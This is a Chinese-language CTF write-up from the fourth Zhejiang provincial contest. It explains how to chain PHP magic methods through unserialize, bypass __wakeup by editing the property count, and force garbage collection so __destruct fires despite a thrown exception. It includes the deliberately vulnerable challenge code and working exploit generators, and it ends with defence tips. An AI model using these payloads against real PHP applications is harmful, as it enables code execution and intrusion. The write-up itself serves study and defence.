利用PHP垃圾回收机制构造POP链
字数 1197 2025-08-29 08:31:35
PHP垃圾回收机制与反序列化POP链构造详解
一、背景与问题描述
这是一个关于利用PHP垃圾回收机制构造POP链的技术分析,源自第四届浙江省赛的一道CTF题目。题目展示了如何通过PHP的反序列化漏洞和垃圾回收机制来执行任意代码。
二、题目代码分析
error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);
class Fun {
private $func = 'call_user_func_array';
public function __call($f, $p){
call_user_func($this->func, $f, $p);
}
public function __wakeup(){
$this->func = '';
die("Don't serialize me");
}
}
class Test {
public function getFlag(){
system("cat /flag?");
}
public function __call($f, $p){
phpinfo();
}
public function __wakeup(){
echo "serialize me?";
}
}
class A {
public $a;
public function __get($p){
if(preg_match("/Test/", get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}
class B {
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
if(isset($_GET['pop'])){
$pop = $_GET['pop'];
$o = unserialize($pop);
throw new Exception("no pop");
}
三、常规解法分析
1. 目标
调用Test类的getFlag方法获取flag。
2. POP链构造思路
B → A → Fun → Test
3. 关键点
- 通过B类的
__destruct方法触发整个链 - A类的
__get方法在访问不可访问属性时触发 - Fun类的
__call方法可以调用任意函数 - 需要绕过Fun类的
__wakeup方法(通过修改属性数量)
4. 常规EXP
<?php
class Fun {
private $func;
public function __construct(){
$this->func = [new Test, 'getFlag'];
}
}
class Test {
public function getFlag(){}
}
class A {
public $a;
}
class B {
public $p;
}
$Test = new Test;
$Fun = new Fun;
$a = new A;
$b = new B;
$a->a = $Fun;
$b->a = $a;
$r = serialize($b);
$r1 = str_replace('"Fun":1:', '"Fun":2:', $r);
echo urlencode($r1);
四、垃圾回收机制解法
1. 问题
常规解法中__destruct是隐式销毁触发的,但题目中throw new Exception会中断对象销毁。
2. PHP垃圾回收机制
旧GC(PHP5.3前)
- 基于引用计数
- 每个内存对象分配计数器
- 变量引用时计数器+1,撤掉引用时-1
- 计数器=0时销毁对象
- 问题:循环引用导致内存泄漏
新GC
- 使用zval变量容器
- 包含"is_ref"(是否引用集合)和"refcount"(引用计数)
- 垃圾回收算法检查数组和对象的循环引用
3. 触发垃圾回收的方法
- 手动调用
gc_collect_cycles() - 垃圾存储空间将满(默认10000个zval)
4. 反序列化中触发GC的原理
- 反序列化允许重复传递相同索引
- 不断填充空间导致旧元素引用计数器递减
- 当zval被销毁时触发垃圾回收算法
- 所有创建的数组开始填充垃圾缓冲区直至空间不足
5. 关键技术点
- 利用ArrayObject的反序列化函数引用其他数组
- 通过特定结构使引用计数器递减
- 需要使引用计数器增加2后再递减3次
6. GC解法EXP
<?php
class B {
public $p;
public function __construct(){
$this->a = new A();
}
}
class A {
public $a;
public function __construct(){
$this->a = new Fun();
}
}
class Fun {
private $func = 'call_user_func_array';
public function __construct() {
$this->func = "Test::getFlag";
}
}
$o = array(new B, new B);
$a = serialize($o);
echo urlencode(str_replace('O:3:"Fun":1:', 'O:3:"Fun":2:', $a));
7. 优化版本
$o = array(new B, new B);
$tmp = "i:0;".serialize(new B);
$a = serialize($o);
$z = str_replace($tmp,$tmp." ",$a);
echo urlencode(str_replace('O:3:"Fun":1:','O:3:"Fun":2:',$z));
五、关键知识点总结
- POP链构造:通过一系列魔术方法的调用链实现代码执行
__wakeup绕过:通过修改序列化字符串中的属性数量- 垃圾回收触发:
- 填满垃圾存储空间(默认10000个zval)
- 利用ArrayObject的反序列化特性
- 引用计数操作:
- 反序列化过程中创建引用会使计数器+2
- 需要特定结构使计数器递减3次
- 异常处理:throw new Exception会中断正常对象销毁,需要强制GC
六、防御建议
- 避免反序列化用户输入
- 使用
__wakeup进行安全检查 - 对敏感类实现
Serializable接口进行更严格的控制 - 更新到最新PHP版本,利用其安全改进
七、参考资料
- Breaking PHP's Garbage Collection and Unserialize (原始英文资料)
- 如何攻破PHP的垃圾回收和反序列化机制(上)
- PHP官方文档关于垃圾回收和序列化的部分